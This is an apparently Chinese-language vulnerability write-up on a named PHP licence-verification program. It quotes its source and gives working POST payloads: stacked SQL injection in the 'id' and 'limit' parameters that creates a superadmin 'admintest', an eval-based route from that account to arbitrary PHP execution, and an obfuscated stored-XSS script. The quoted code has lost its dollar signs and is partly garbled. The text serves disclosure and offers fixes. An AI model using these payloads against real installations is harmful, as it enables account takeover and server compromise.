某PHP程序成堆的漏洞
该程序用一句千疮百孔来形容是丝毫不过分的,各位当引以为戒~
0x0:
目标程序下载地址:http://wlyz.bingxs.com/ 嗯github上有解密版.
0x1:傻瓜化一键添加超级管理员
app/api/controller/Common.php
protected function init() {
require BX_ROOT . 'app/api/api_function.php';
id = !empty(_POST['id']) ? _POST['id'] : exit(api_json('400','',false));data = !empty(_POST['data']) ?_POST['data'] : exit(api_json('400','',false));
this->con = Db::getInstance();
//此处存在 注入漏洞 简单修复它:改为this->software = this->con->select('software',"id='{id}'");
this->software =this->con->select('software',"id={id}");
if(!this->software) {
exit(api_json('404','',false));
}
this->isBlackIp();this->log = new InsertLog(this->software['0']['id']);
define('API_ENCRYPT',this->software['0']['encrypt']);
define('API_KEY',this->software['0']['s_key']);
//借助前面注入漏洞添加的账号 可以直接在后台修改该字段 达到执行任意php代码的目的
if(API_ENCRYPT == 'defined_encrypt') {
eval(this->software['0']['defined_encrypt']);
}
this->data = bx_decrypt(data,API_KEY,API_ENCRYPT);
if(!this->data) {
exit(api_json('444','',false));
}
if(this->getState() == '2') {
exit(api_json('403','',false));
}
do_action('api_common');
}
//目标地址:/index.php/api/Software/getInfo
构造如下Post请求:
//password=md5(pWd+salt)
data=333&id=1;insert into bx_menber(username,password,power,salt,boss_id,software_id) values(char(97,100,109,105,110,116,101,115,116),char(48,100,51,98,100,52,98,53,56,49,55,50,51,53,49,53,97,97,100,50,98,100,55,97,56,51,57,51,56,100,53,55),1,0,1,0);
即可添加
user:admintest
pwd:admintest
0x2傻瓜化getshell:
app/api/controller/Common.php
//借助注入漏洞添加的账号 可以直接在后台修改该字段 即可执行任意php代码
if(API_ENCRYPT == 'defined_encrypt') {
eval($this->software['0']['defined_encrypt']);
}
0x3其他的神奇操作:
//这个函数 存在大量问题 由它导致了几乎随处可见的mysql注入漏洞
//虽然使用了预编译 但是直接预编译了整个sql指令 而未按照参数化编写.
public function select(table,where = '', join = '',desc = '', limit = '',field = '') {
try {
ifwhere = '';order = '';
desc_limit = '';
if (! empty(where)) {
ifwhere = "where {where}";
}
if (! empty(desc)) {order = "order by {desc} desc";
}
if (! empty(limit)) {
desc_limit = "limit {limit}";
}
empty(field) ?field = "*" : FALSE;
sql = "SELECT {field} FROM {this -> pre}{table} {join} {ifwhere} {order} {desc_limit}";
sql = str_replace('pre_',this -> pre, sql);Model = this->server->prepare(sql);
Model->execute();m_data = Model->fetchAll(\PDO::FETCH_ASSOC);
returnm_data;
}
catch (\PDOException e) {
exit(e -> getMessage());
}
}
例如:
/app/admin/model/Agent.php
public function lists(where,page,limit) {pageset = (page-1)*limit;
//此处存在注入漏洞
res =this->con->select('menber',where, 'LEFT JOIN pre_menber as a on pre_menber.boss_id = a.id', 'pre_menber.id',"{pageset},{limit}", 'pre_menber.id,pre_menber.username,pre_menber.power,pre_menber.money,pre_menber.consumed,pre_menber.congeal,
pre_menber.comment,a.username as boss_name');
empty(res) ? exit : FALSE;
conut =this->con->select('menber',where,'','','','COUNT(id)');
echo bx_lists(res, $conut['0']['COUNT(id)']);
exit;
}
//目标地址:/index.php/admin/Agent/lists(同理 其他model的lists函数也都具有该漏洞 修复建议是将limit转换到整数)
构造如下Post请求:
page=1&limit=30;insert into bx_menber(username,password,power,salt,boss_id,software_id) values(char(97,100,109,105,110,116,101,115,116),char(48,100,51,98,100,52,98,53,56,49,55,50,51,53,49,53,97,97,100,50,98,100,55,97,56,51,57,51,56,100,53,55),1,0,1,0); &power=&congeal=&menber_name=&username=
0x04XSS漏洞:
尽管在/core/function/function.php对POST进行了部分字符的转义(addslashes)以及部分输出的(new_html_special_chars) 但是依然存在巨大的问题
//POST/GET/COOKIE使用此函数预防inject
function addslashes_deep(value) {
if (empty(value)) {
return value;
} else {
return is_array(value) ? array_map('addslashes_deep', value) : addslashes(value);
}
}
//部分输出使用此函数防止Xss
function new_html_special_chars(&string) {
if (!is_array(string)) return htmlspecialchars(string);
foreach (string as key =>val) string[key] = new_html_special_chars(val);
returnstring;
}
用户处的XSS不谈 因为有对html的过滤
app/admin/model/User.php
public function lists(where,page,limit) {pageset = (page-1)*limit;
res =this->con->select('user',where,'LEFT JOIN pre_software ON pre_user.software_id = pre_software.id
LEFT JOIN pre_menber ON pre_user.menber_id = pre_menber.id', 'pre_user.id',"{pageset},{limit}", "pre_user.id,pre_user.username,pre_user.regtime,pre_user.endtime,pre_user.machine_code,pre_user.user_data,pre_user.comment,pre_user.congeal,pre_user.state,
pre_user.heart_beat,pre_user.point,pre_software.name AS software_name,pre_menber.username AS menber_name");
empty(res) ? exit : FALSE;
new_html_special_chars(res);//此处过滤HTMLconut = this->con->select('user',where,'','','','COUNT(id)');
foreach (res askey => value) {
if(res[key]['state'] != "1") {
if(res[key]['heart_beat']
但是对单卡的管理却没有过滤 借此可以实现对代理端/作者端XSS储存型的攻击
/app/admin/model/SingleCard.php
public function lists(where,page,limit) {pageset = (page-1)*limit;
res =this->con->select('single_card',where,'LEFT JOIN pre_software ON pre_single_card.software_id = pre_software.id LEFT JOIN pre_menber ON pre_single_card.menber_id = pre_menber.id', 'pre_single_card.id',"{pageset},{limit}", 'pre_single_card.*, pre_software.name AS software_name,pre_menber.username as menber_name');
empty(res) ? exit : FALSE;
conut =this->con->select('single_card',where,'','','','COUNT(id)');
foreach (res as key =>value) {
if(res[key]['state'] != "1") {
if(res[key]['heart_beat'] < time()) {
res[key]['state'] = "1";
}
}
}
echo bx_lists(res,conut['0']['COUNT(id)']);
exit;
}
接口:index.php/api/SingleCard/setCardData(写单卡自定义数据)(前端显示时未过滤html标签)
data = {"cardnum":"card","card_data":"<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88,83, 83, 34, 41, 59))</script>"}
POST:"id=" + 软件ID + "&data=" + 加密 (data)
其他位置:
后台->生成卡->备注/自定义数据同样可以XSS
0x5尾:
总结:编写程序时应充分考虑安全性问题,严格过滤用户输入信息,mysql操作应按照pdo的参数化形式 而不是prepare($sqlString) 这不会有任何的意义,此程序中mysql 设置的utf8 如果是gbk 还能够 宽字节注入 这也是需要防范的问题.